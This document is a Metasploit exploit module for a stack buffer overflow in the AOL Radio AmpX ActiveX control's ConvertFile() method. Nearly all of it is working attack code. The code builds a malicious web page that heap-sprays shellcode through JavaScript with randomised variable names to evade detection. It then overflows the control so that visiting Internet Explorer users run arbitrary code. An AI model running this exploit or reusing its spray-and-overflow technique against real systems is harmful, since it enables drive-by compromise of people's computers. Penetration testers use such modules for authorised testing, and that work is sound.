This Metasploit module exploits a stack-based buffer overflow in AOL IWinAmpActiveX class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website. By setting an overly long value to 'ConvertFile()', an attacker can overrun a buffer and execute arbitrary code.
b255bff048b696b83be33b74127329a23af7e1d356d9b41e180802e9add63785require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX
class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
By setting an overly long value to 'ConvertFile()', an attacker can overrun
a buffer and execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod <rgod[at]autistici.org>', # Original exploit [see References]
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '54706' ],
[ 'BID', '35028' ],
[ 'URL', 'http://www.milw0rm.com/exploits/8733' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'May 19 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 500
offset = target['Offset']
# Randomize the javascript variable names
ampx = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_eax = rand_text_alpha(rand(100) + 1)
j_bof = rand_text_alpha(rand(100) + 1)
# Build out the message
content = %Q|
<html>
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
<script language='javascript'>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
#{j_eax}='';
for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');
#{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{j_bof}=#{j_eax}+#{j_ret};
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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